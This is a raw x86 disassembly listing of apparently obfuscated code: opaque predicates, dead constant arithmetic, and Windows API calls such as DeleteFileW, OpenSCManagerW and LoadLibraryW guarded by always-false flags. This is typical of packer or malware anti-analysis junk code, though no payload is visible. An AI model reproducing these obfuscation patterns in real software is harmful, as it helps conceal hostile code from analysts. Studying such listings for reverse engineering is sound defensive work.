cmp dword [eax], 0
je 0x46a6ef
jmp 0x46a6f1
jmp 0x46a680
lea ecx, [ebp - 0x2740]
call fcn.0043097a
movzx eax, byte [ebp - 0x279]
test eax, eax
je 0x46a85b
mov dword [ebp - 0x4bc], 0xebae
mov dword [ebp - 0xcbc], 0xe6e3245f
mov dword [ebp - 0xb24], 0xcce1e2c0
mov dword [ebp - 0x23b0], 0xfffffffb
mov dword [ebp - 0xcc4], 0xfffffff8
push 1
lea ecx, [ebp - 0x2a94]
call fcn.004308a8
mov dword [ebp - 0x608], 0
jmp 0x46a763
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 1
jge 0x46a785
push dword [ebp - 0x608]
lea ecx, [ebp - 0x2a94]
call fcn.00430996
mov dword [eax], 2
jmp 0x46a756
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0xcbc], eax
mov eax, dword [ebp - 0xcbc]
mov dword [ebp - 0xb24], eax
mov eax, dword [ebp - 0xb24]
mov dword [ebp - 0x3244], eax
mov eax, dword [ebp - 0xcc4]
cmp dword [ebp - 0x23b0], eax
jge 0x46a7c3
mov dword [ebp - 0x1ad0], 1
jmp 0x46a7ca
and dword [ebp - 0x1ad0], 0
mov eax, dword [ebp - 0x1ad0]
sub eax, dword [ebp - 0xcc4]
cmp dword [ebp - 0x4bc], eax
jg 0x46a7f0
cmp dword [ebp - 0xb24], 0
jne 0x46a7f0
and dword [ebp - 0x1ad8], 0
jmp 0x46a7fa
mov dword [ebp - 0x1ad8], 1
mov eax, dword [ebp - 0x1ad8]
sub eax, dword [ebp - 0x4bc]
add eax, dword [ebp - 0x4bc]
cmp dword [ebp - 0x4bc], eax
jg 0x46a820
mov dword [ebp - 0xccc], 1
jmp 0x46a827
and dword [ebp - 0xccc], 0
push 0
lea ecx, [ebp - 0x2a94]
call fcn.00430996
mov ecx, dword [ebp - 0xccc]
mov dword [eax], ecx
lea ecx, [ebp - 0x2a94]
call fcn.0043097a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x25c], 0x3a60
mov dword [ebp - 0x23c0], 0x5205
mov dword [ebp - 0x98c], 0x5cfda6c2
mov dword [ebp - 0x23d0], 0x2be2ff5f
mov dword [ebp - 0x8c8], 0
jmp 0x46a8a6
mov eax, dword [ebp - 0x8c8]
inc eax
mov dword [ebp - 0x8c8], eax
cmp dword [ebp - 0x8c8], 3
jge 0x46a8c2
mov eax, dword [ebp - 0x8c8]
mov dword [ebp + eax*4 - 0x3458], 0xffffffff
jmp 0x46a899
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x2f20], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x3200], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x2f28], eax
cmp dword [ebp - 0x110], 0xc0de
jge 0x46a8fe
mov dword [ebp - 0x1ae0], 1
jmp 0x46a905
and dword [ebp - 0x1ae0], 0
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0x1ae0]
jle 0x46a91f
mov dword [ebp - 0x23b8], 1
jmp 0x46a926
and dword [ebp - 0x23b8], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x324c], eax
cmp dword [ebp - 0x25c], 0
jne 0x46a94d
cmp dword [ebp - 0x25c], 0
jne 0x46a94d
and dword [ebp - 0xcd4], 0
jmp 0x46a957
mov dword [ebp - 0xcd4], 1
mov eax, dword [ebp - 0xcd4]
add eax, 0xc8fbfc7
imul eax, dword [ebp - 0x23c0]
cmp eax, 0xd97867a7
je 0x46a985
cmp dword [ebp - 0x110], 0
je 0x46a985
mov dword [ebp - 0x1ae8], 1
jmp 0x46a98c
and dword [ebp - 0x1ae8], 0
mov eax, dword [ebp - 0x1ae8]
mov dword [ebp - 0x98c], eax
cmp dword [ebp - 0x98c], 7
ja 0x46a9ad
mov dword [ebp - 0xcdc], 1
jmp 0x46a9b4
and dword [ebp - 0xcdc], 0
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0xcdc]
je 0x46a9ce
mov dword [ebp - 0x1af0], 1
jmp 0x46a9d5
and dword [ebp - 0x1af0], 0
cmp dword [ebp - 0x1af0], 0xffffffff
jne 0x46a9ea
mov dword [ebp - 0xce4], 1
jmp 0x46a9f1
and dword [ebp - 0xce4], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0xce4], eax
jl 0x46aa0b
mov dword [ebp - 0x1af8], 1
jmp 0x46aa12
and dword [ebp - 0x1af8], 0
cmp dword [ebp - 0x1af8], 0x9c79ebef
jb 0x46aa2a
mov dword [ebp - 0xcec], 1
jmp 0x46aa31
and dword [ebp - 0xcec], 0
cmp dword [ebp - 0xcec], 0x95a
jge 0x46aa49
mov dword [ebp - 0x23c8], 1
jmp 0x46aa50
and dword [ebp - 0x23c8], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x2f30], eax
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x3210], eax
xor eax, eax
inc eax
je 0x46aa7f
cmp dword [ebp - 0x98c], 0
je 0x46aa7f
and dword [ebp - 0x1b00], 0
jmp 0x46aa89
mov dword [ebp - 0x1b00], 1
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x1b00]
cmp eax, dword [ebp - 0x23d0]
jl 0x46aab2
mov eax, 0x17b4d2c2
test eax, eax
je 0x46aab2
mov dword [ebp - 0xcf4], 1
jmp 0x46aab9
and dword [ebp - 0xcf4], 0
cmp dword [ebp - 0xcf4], 0x5e320525
jle 0x46aad1
mov dword [ebp - 0x1b08], 1
jmp 0x46aad8
and dword [ebp - 0x1b08], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1b08]
mov dword [ebp + eax - 0x3458], ecx
mov dword [ebp - 0x25c], 0xffffffeb
jmp 0x46ab04
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x28
jl 0x46ab24
mov dword [ebp - 0x23d8], 0xc53a21b7
cmp dword [ebp - 0x23d8], 0
je 0x46ab22
jmp 0x46ab24
jmp 0x46aaf7
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0xd04], 3
mov dword [ebp - 0x224], 0x68876942
push 3
lea ecx, [ebp - 0xbf4]
call fcn.004308a8
mov dword [ebp - 0xaa4], 0xca3191b4
mov dword [ebp - 0x310], 0xfffffff6
mov dword [ebp - 0x150], 0
jmp 0x46ab7e
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 2
jge 0x46ab9a
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x23fc], 0x8ef6b8f
jmp 0x46ab71
mov dword [ebp - 0x150], 0
jmp 0x46abb3
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jge 0x46abd5
push dword [ebp - 0x150]
lea ecx, [ebp - 0xbf4]
call fcn.00430996
mov dword [eax], 0x14c90d29
jmp 0x46aba6
mov byte [ebp - 0x2ab], 0
movzx eax, byte [ebp - 0x2ab]
test eax, eax
je 0x46abfc
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov eax, dword [ebp - 0x310]
dec eax
mov dword [ebp - 0x310], eax
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0x2f38], eax
push 2
lea ecx, [ebp - 0xbf4]
call fcn.00430996
mov ecx, dword [ebp - 0xaa4]
cmp dword [eax], ecx
jne 0x46ac38
mov dword [ebp - 0xcfc], 1
jmp 0x46ac3f
and dword [ebp - 0xcfc], 0
push 2
lea ecx, [ebp - 0xbf4]
call fcn.00430996
mov ecx, dword [ebp - 0xcfc]
cmp ecx, dword [eax]
jle 0x46ac62
mov dword [ebp - 0x23e0], 1
jmp 0x46ac69
and dword [ebp - 0x23e0], 0
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x3254], eax
push 2
lea ecx, [ebp - 0xbf4]
call fcn.00430996
mov esi, dword [ebp - 0xaa4]
sub esi, dword [ebp - 0xd04]
push 2
lea ecx, [ebp - 0xbf4]
call fcn.00430996
cmp esi, dword [eax]
jge 0x46acab
mov dword [ebp - 0x1b10], 1
jmp 0x46acb2
and dword [ebp - 0x1b10], 0
cmp dword [ebp - 0x1b10], 0xfffffff6
jne 0x46acc7
mov dword [ebp - 0x1b18], 1
jmp 0x46acce
and dword [ebp - 0x1b18], 0
mov esi, dword [ebp - 0xd04]
push 2
lea ecx, [ebp - 0xbf4]
call fcn.00430996
mov ecx, dword [ebp - 0x1b18]
add ecx, dword [eax]
add esi, ecx
push 2
lea ecx, [ebp - 0xbf4]
call fcn.00430996
cmp esi, dword [eax]
je 0x46ad14
push 2
lea ecx, [ebp - 0xbf4]
call fcn.00430996
mov dword [eax], 0x63b88216
jmp 0x46aecb
mov dword [ebp - 0xb4c], 0x230b
mov dword [ebp - 0x994], 0xde2e510b
mov eax, dword [ebp - 0xb4c]
mov dword [ebp - 0x2f40], eax
cmp dword [ebp - 0x310], 0x401c
jl 0x46ad4c
mov dword [ebp - 0xd0c], 1
jmp 0x46ad53
and dword [ebp - 0xd0c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x23fc]
cmp dword [ebp - 0xd0c], eax
jg 0x46ad74
mov dword [ebp - 0x1b20], 1
jmp 0x46ad7b
and dword [ebp - 0x1b20], 0
cmp dword [ebp - 0x1b20], 1
jne 0x46ad99
mov eax, 0xfffb
test eax, eax
je 0x46ad99
mov dword [ebp - 0xd14], 1
jmp 0x46ada0
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0xd14], eax
jle 0x46adba
mov dword [ebp - 0x1b28], 1
jmp 0x46adc1
and dword [ebp - 0x1b28], 0
cmp dword [ebp - 0x1b28], 0
je 0x46add6
mov dword [ebp - 0xd1c], 1
jmp 0x46addd
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0xd1c]
mov dword [ebp - 0x994], eax
mov eax, dword [ebp - 0x994]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x23fc]
je 0x46ae0c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x23fc], 0
mov eax, dword [ebp - 0xb4c]
mov dword [ebp - 0x3220], eax
mov eax, dword [ebp - 0x994]
add eax, dword [ebp - 0xb4c]
je 0x46ae90
cmp dword [ebp - 0x224], 0
je 0x46ae90
mov dword [ebp - 0x310], 0xfffffff1
jmp 0x46ae48
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x33
je 0x46ae8e
mov dword [ebp - 0x224], 0
jmp 0x46ae6a
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 3
jge 0x46ae8c
push dword [ebp - 0x224]
lea ecx, [ebp - 0xbf4]
call fcn.00430996
mov dword [eax], 0xbf785b8e
jmp 0x46ae5d
jmp 0x46ae3b
jmp 0x46aeaa
mov byte [ebp - 0x299], 0
movzx eax, byte [ebp - 0x299]
test eax, eax
je 0x46aeaa
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x3e2], 0
movzx eax, byte [ebp - 0x3e2]
test eax, eax
je 0x46aecb
push 0x1b97
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
lea ecx, [ebp - 0xbf4]
call fcn.0043097a
cmp dword [ebp + 8], 2
jl 0x477f43
mov dword [ebp - 0x57c], 0xffffffff
push 3
lea ecx, [ebp - 0x1f18]
call fcn.004308a8
mov dword [ebp - 0x618], 0xb7b2415f
mov dword [ebp - 0x23e8], 1
mov dword [ebp - 0x610], 0
jmp 0x46af24
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 3
jge 0x46af46
push dword [ebp - 0x610]
lea ecx, [ebp - 0x1f18]
call fcn.00430996
mov dword [eax], 0xecba
jmp 0x46af17
mov dword [ebp - 0x57c], 0xf
jmp 0x46af5f
mov eax, dword [ebp - 0x57c]
dec eax
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 0xffffffe9
je 0x46b226
mov dword [ebp - 0x28], 0x7a888ada
mov dword [ebp - 0x28], 0
jmp 0x46af83
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x46b1aa
mov dword [ebp - 0x24c], 9
mov dword [ebp - 0x24c], 2
jmp 0x46afb0
mov eax, dword [ebp - 0x24c]
dec eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jl 0x46b00a
mov dword [ebp - 0x7a0], 6
mov dword [ebp - 0x7a0], 2
jmp 0x46afdc
mov eax, dword [ebp - 0x7a0]
dec eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 0
jl 0x46b008
mov byte [ebp - 0x29b], 0
movzx eax, byte [ebp - 0x29b]
test eax, eax
je 0x46b006
push 0x220
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
jmp 0x46afcf
jmp 0x46afa3
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1f18]
call fcn.00430996
mov esi, eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1f18]
call fcn.00430996
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x46b03a
mov dword [ebp - 0x1b30], 1
jmp 0x46b041
and dword [ebp - 0x1b30], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1f18]
call fcn.00430996
mov eax, dword [eax]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x24c]
imul eax, dword [ebp - 0x1b30]
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x2f48], eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1f18]
call fcn.00430996
mov ecx, 0xa83d
sub ecx, dword [eax]
je 0x46b0a0
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x46b0a0
mov dword [ebp - 0xd24], 1
jmp 0x46b0a7
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0xd24]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x24c], eax
jge 0x46b0ca
mov dword [ebp - 0x1b38], 1
jmp 0x46b0d1
and dword [ebp - 0x1b38], 0
cmp dword [ebp - 0x1b38], 0x659ea4d5
jge 0x46b0e9
mov dword [ebp - 0xd2c], 1
jmp 0x46b0f0
and dword [ebp - 0xd2c], 0
mov eax, dword [ebp - 0xd2c]
sub eax, dword [ebp - 0x57c]
je 0x46b11d
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1f18]
call fcn.00430996
cmp dword [eax], 0
je 0x46b11d
mov dword [ebp - 0x1b40], 1
jmp 0x46b124
and dword [ebp - 0x1b40], 0
mov eax, dword [ebp - 0x23e8]
imul eax, dword [ebp - 0x1b40]
cmp eax, dword [ebp - 0x28]
jg 0x46b157
mov byte [ebp - 0x361], 0
movzx eax, byte [ebp - 0x361]
test eax, eax
je 0x46b155
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
jmp 0x46b1a5
mov dword [ebp - 0x23f0], 0x1c36b586
cmp dword [ebp - 0x23f0], 0
je 0x46b176
mov dword [ebp - 0xd34], 1
jmp 0x46b17d
and dword [ebp - 0xd34], 0
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0x618], eax
mov byte [ebp - 0x29d], 0
movzx eax, byte [ebp - 0x29d]
test eax, eax
je 0x46b1a5
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x46af7c
push 2
lea ecx, [ebp - 0x1f18]
call fcn.00430996
cmp dword [ebp - 0x618], 0
jne 0x46b1cc
mov dword [ebp - 0x1b48], 1
jmp 0x46b1d3
and dword [ebp - 0x1b48], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x1b48]
jne 0x46b1ea
mov dword [ebp - 0xd3c], 1
jmp 0x46b1f1
and dword [ebp - 0xd3c], 0
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0xd3c]
sub eax, dword [ebp - 0x28]
cmp eax, 0x5818
jg 0x46b211
mov dword [ebp - 0x1b50], 1
jmp 0x46b218
and dword [ebp - 0x1b50], 0
mov eax, dword [ebp - 0x1b50]
mov dword [ebp - 0x28], eax
jmp 0x46af52
lea ecx, [ebp - 0x1f18]
call fcn.0043097a
mov dword [ebp - 0x4c4], 0xac64a684
mov dword [ebp - 0x494], 0xf885bd52
mov dword [ebp - 0x325c], 1
mov dword [ebp - 0x868], 0
jmp 0x46b268
mov eax, dword [ebp - 0x868]
inc eax
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 3
jge 0x46b284
mov eax, dword [ebp - 0x868]
mov dword [ebp + eax*4 - 0x3500], 0
jmp 0x46b25b
mov byte [ebp - 0x3e3], 0
movzx eax, byte [ebp - 0x3e3]
test eax, eax
je 0x46b29e
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x4c4], 0xf
jmp 0x46b2b7
mov eax, dword [ebp - 0x4c4]
dec eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0xffffffe9
jge 0x46b7d4
push 2
lea ecx, [ebp - 0x25ac]
call fcn.004308a8
mov dword [ebp - 0x318], 6
mov dword [ebp - 0x2904], 1
mov dword [ebp - 0x2900], 1
mov dword [ebp - 0x28fc], 1
mov dword [ebp - 0x28f8], 1
lea ecx, [ebp - 0x959]
call fcn.004309a5
push eax
lea eax, [ebp - 0x28f4]
push eax
lea eax, [ebp - 0x2904]
push eax
lea ecx, [ebp - 0x3550]
call fcn.004309a8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x27ac]
call fcn.00430954
mov dword [ebp - 0x1b80], 0xffffffff
mov dword [ebp - 0x160], 0
jmp 0x46b35b
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 2
jge 0x46b37d
push dword [ebp - 0x160]
lea ecx, [ebp - 0x25ac]
call fcn.00430996
mov dword [eax], 1
jmp 0x46b34e
mov dword [ebp - 0x160], 0
jmp 0x46b396
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x46b3b2
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x9a4], 0xffffffff
jmp 0x46b389
mov dword [ebp - 0x318], 0
jmp 0x46b3cb
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 1
jg 0x46b7b9
mov dword [ebp - 0x620], 0
jmp 0x46b3f1
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 2
jge 0x46b40d
mov eax, dword [ebp - 0x620]
mov dword [ebp + eax*4 - 0x1dec], 0x3b28
jmp 0x46b3e4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9a4], 1
jb 0x46b429
mov dword [ebp - 0xd44], 1
jmp 0x46b430
and dword [ebp - 0xd44], 0
push 0
lea ecx, [ebp - 0x27ac]
call fcn.00430996
mov ecx, dword [ebp - 0xd44]
cmp ecx, dword [eax]
jle 0x46b453
mov dword [ebp - 0x1b58], 1
jmp 0x46b45a
and dword [ebp - 0x1b58], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1dec]
cmp dword [ebp - 0x1b58], eax
jge 0x46b47b
mov dword [ebp - 0xd4c], 1
jmp 0x46b482
and dword [ebp - 0xd4c], 0
push dword [ebp - 0x318]
lea ecx, [ebp - 0x25ac]
call fcn.00430996
mov ecx, dword [ebp - 0xd4c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x494]
cmp dword [ebp + eax - 0x1dec], ecx
je 0x46b4bc
mov dword [ebp - 0x99c], 1
jmp 0x46b4c3
and dword [ebp - 0x99c], 0
push dword [ebp - 0x318]
lea ecx, [ebp - 0x25ac]
call fcn.00430996
mov ecx, dword [ebp - 0x99c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0x99c], eax
jl 0x46b4f6
mov dword [ebp - 0x1b60], 1
jmp 0x46b4fd
and dword [ebp - 0x1b60], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a4]
cmp dword [ebp - 0x1b60], eax
jl 0x46b51e
mov dword [ebp - 0xaac], 1
jmp 0x46b525
and dword [ebp - 0xaac], 0
push 0
lea ecx, [ebp - 0x27ac]
call fcn.00430996
mov ecx, dword [ebp - 0xaac]
mov dword [eax], ecx
cmp dword [ebp - 0xaac], 1
ja 0x46b54f
mov dword [ebp - 0xd54], 1
jmp 0x46b556
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0x494]
cmp dword [ebp - 0xd54], eax
jg 0x46b570
mov dword [ebp - 0x1b68], 1
jmp 0x46b577
and dword [ebp - 0x1b68], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1dec]
add eax, dword [ebp - 0x1b68]
cmp eax, dword [ebp - 0x4c4]
jl 0x46b59e
mov dword [ebp - 0xd5c], 1
jmp 0x46b5a5
and dword [ebp - 0xd5c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a4]
cmp dword [ebp - 0xd5c], eax
jle 0x46b5c6
mov dword [ebp - 0x1b70], 1
jmp 0x46b5cd
and dword [ebp - 0x1b70], 0
cmp dword [ebp - 0x1b70], 1
jne 0x46b5e2
mov dword [ebp - 0xd64], 1
jmp 0x46b5e9
and dword [ebp - 0xd64], 0
mov eax, dword [ebp - 0xd64]
sub eax, 0x15b01d9
cmp eax, dword [ebp - 0x1b80]
jle 0x46b616
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3500], 0
je 0x46b611
jmp 0x46b7b9
jmp 0x46b7b4
mov dword [ebp - 0x2418], 0x6bbbd28a
mov byte [ebp - 0x29f], 0
movzx eax, byte [ebp - 0x29f]
test eax, eax
je 0x46b63c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
cmp dword [ebp - 0x494], 0
jne 0x46b651
mov dword [ebp - 0x1b78], 1
jmp 0x46b658
and dword [ebp - 0x1b78], 0
cmp dword [ebp - 0x1b78], 0xfffd
jbe 0x46b670
mov dword [ebp - 0xd84], 1
jmp 0x46b677
and dword [ebp - 0xd84], 0
mov esi, dword [ebp - 0x494]
push 1
lea ecx, [ebp - 0x27ac]
call fcn.00430996
cmp esi, dword [eax]
jne 0x46b69a
mov dword [ebp - 0xd6c], 1
jmp 0x46b6a1
and dword [ebp - 0xd6c], 0
cmp dword [ebp - 0xd6c], 0
jb 0x46b6b6
mov dword [ebp - 0x2410], 1
jmp 0x46b6bd
and dword [ebp - 0x2410], 0
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0x2f50], eax
cmp dword [ebp - 0x1b80], 1
jae 0x46b6de
mov dword [ebp - 0xd74], 1
jmp 0x46b6e5
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0xd74]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1dec]
jl 0x46b707
mov dword [ebp - 0x1b88], 1
jmp 0x46b70e
and dword [ebp - 0x1b88], 0
mov eax, dword [ebp - 0x1b88]
sub eax, 0x839b
jne 0x46b727
mov dword [ebp - 0xd7c], 1
jmp 0x46b72e
and dword [ebp - 0xd7c], 0
cmp dword [ebp - 0xd7c], 0xffffffff
jg 0x46b743
mov dword [ebp - 0x1b90], 1
jmp 0x46b74a
and dword [ebp - 0x1b90], 0
mov eax, dword [ebp - 0x494]
add eax, dword [ebp - 0x1b90]
cmp dword [ebp - 0xd84], eax
je 0x46b76a
mov dword [ebp - 0x1b98], 1
jmp 0x46b771
and dword [ebp - 0x1b98], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1dec]
cmp dword [ebp - 0x1b98], eax
jge 0x46b792
mov dword [ebp - 0xd8c], 1
jmp 0x46b799
and dword [ebp - 0xd8c], 0
mov esi, dword [ebp - 0x2418]
add esi, dword [ebp - 0xd8c]
push 0
lea ecx, [ebp - 0x25ac]
call fcn.00430996
mov dword [eax], esi
jmp 0x46b3be
lea ecx, [ebp - 0x27ac]
call fcn.0043097a
lea ecx, [ebp - 0x25ac]
call fcn.0043097a
jmp 0x46b2aa
mov dword [ebp - 0x490], 0xfffffffe
mov dword [ebp - 0x2454], 0x1db6084e
mov dword [ebp - 0xdbc], 0x3dec995f
mov dword [ebp - 0x2444], 0x9d9e177c
mov dword [ebp - 0x3264], 0
mov dword [ebp - 0x1be0], 0x7c76
mov dword [ebp - 0x245c], 3
cmp dword [ebp - 0x490], 0
je 0x46b9b4
mov dword [ebp - 0x242c], 0x74006310
mov dword [ebp - 0x2434], 0
mov dword [ebp - 0x7a8], 0
jmp 0x46b854
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 1
jge 0x46b870
mov eax, dword [ebp - 0x7a8]
mov dword [ebp + eax*4 - 0x243c], 0xfffffffb
jmp 0x46b847
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x242c], eax
jne 0x46b88a
mov dword [ebp - 0x1ba0], 1
jmp 0x46b891
and dword [ebp - 0x1ba0], 0
mov eax, dword [ebp - 0x1ba0]
neg eax
cmp eax, 6
je 0x46b8aa
mov dword [ebp - 0xd9c], 1
jmp 0x46b8b1
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x490], eax
jle 0x46b8cb
mov dword [ebp - 0xd94], 1
jmp 0x46b8d2
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0xd94]
sub eax, 0x61235702
cmp eax, 0x1e124dc4
jne 0x46b8f0
mov dword [ebp - 0x1ba8], 1
jmp 0x46b8f7
and dword [ebp - 0x1ba8], 0
mov eax, dword [ebp - 0x1ba8]
neg eax
cmp dword [ebp - 0xd9c], eax
jne 0x46b913
mov dword [ebp - 0x1bb0], 1
jmp 0x46b91a
and dword [ebp - 0x1bb0], 0
mov eax, dword [ebp - 0x490]
add eax, dword [ebp - 0x1bb0]
jne 0x46b934
mov dword [ebp - 0xda4], 1
jmp 0x46b93b
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0x2434]
cmp dword [ebp - 0xda4], eax
jne 0x46b955
mov dword [ebp - 0x1bb8], 1
jmp 0x46b95c
and dword [ebp - 0x1bb8], 0
cmp dword [ebp - 0x1bb8], 0xf9b6917a
jne 0x46b974
mov dword [ebp - 0xdac], 1
jmp 0x46b97b
and dword [ebp - 0xdac], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0xdac], eax
jg 0x46b995
mov dword [ebp - 0x1bc0], 1
jmp 0x46b99c
and dword [ebp - 0x1bc0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1bc0]
mov dword [ebp + eax - 0x243c], ecx
jmp 0x46bb1c
mov dword [ebp - 0x2f58], 0xfff8
mov dword [ebp - 0x244c], 0x1c1d99ea
mov dword [ebp - 0xb54], 0xcecb
mov dword [ebp - 0x1bd8], 4
cmp dword [ebp - 0x2444], 0
jne 0x46b9f1
mov dword [ebp - 0xdcc], 1
jmp 0x46b9f8
and dword [ebp - 0xdcc], 0
cmp dword [ebp - 0xb54], 1
jbe 0x46ba0d
mov dword [ebp - 0xdb4], 1
jmp 0x46ba14
and dword [ebp - 0xdb4], 0
mov eax, dword [ebp - 0x1be0]
cmp dword [ebp - 0xdb4], eax
jl 0x46ba2e
mov dword [ebp - 0x1bc8], 1
jmp 0x46ba35
and dword [ebp - 0x1bc8], 0
mov eax, dword [ebp - 0x1bc8]
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0x244c]
add eax, dword [ebp - 0xdbc]
cmp eax, 1
jle 0x46ba5e
mov dword [ebp - 0x1bd0], 1
jmp 0x46ba65
and dword [ebp - 0x1bd0], 0
mov eax, dword [ebp - 0xb54]
cmp dword [ebp - 0x1bd0], eax
jge 0x46ba7f
mov dword [ebp - 0xdc4], 1
jmp 0x46ba86
and dword [ebp - 0xdc4], 0
mov eax, dword [ebp - 0xdc4]
mov dword [ebp - 0x1bd8], eax
mov eax, dword [ebp - 0x1bd8]
add eax, dword [ebp - 0xdcc]
sub eax, dword [ebp - 0x2454]
jne 0x46baad
cmp dword [ebp - 0x1be0], 0
mov eax, 0x9d707d8e
dec eax
cmp eax, 1
jl 0x46bac4
mov dword [ebp - 0xdd4], 1
jmp 0x46bacb
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0xb54]
cmp dword [ebp - 0xdd4], eax
jge 0x46bae5
mov dword [ebp - 0x1be8], 1
jmp 0x46baec
and dword [ebp - 0x1be8], 0
mov eax, dword [ebp - 0x1be8]
mov dword [ebp - 0x245c], eax
mov byte [ebp - 0x369], 0
movzx eax, byte [ebp - 0x369]
test eax, eax
je 0x46bb1c
push 0xddb
push 0x1088
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
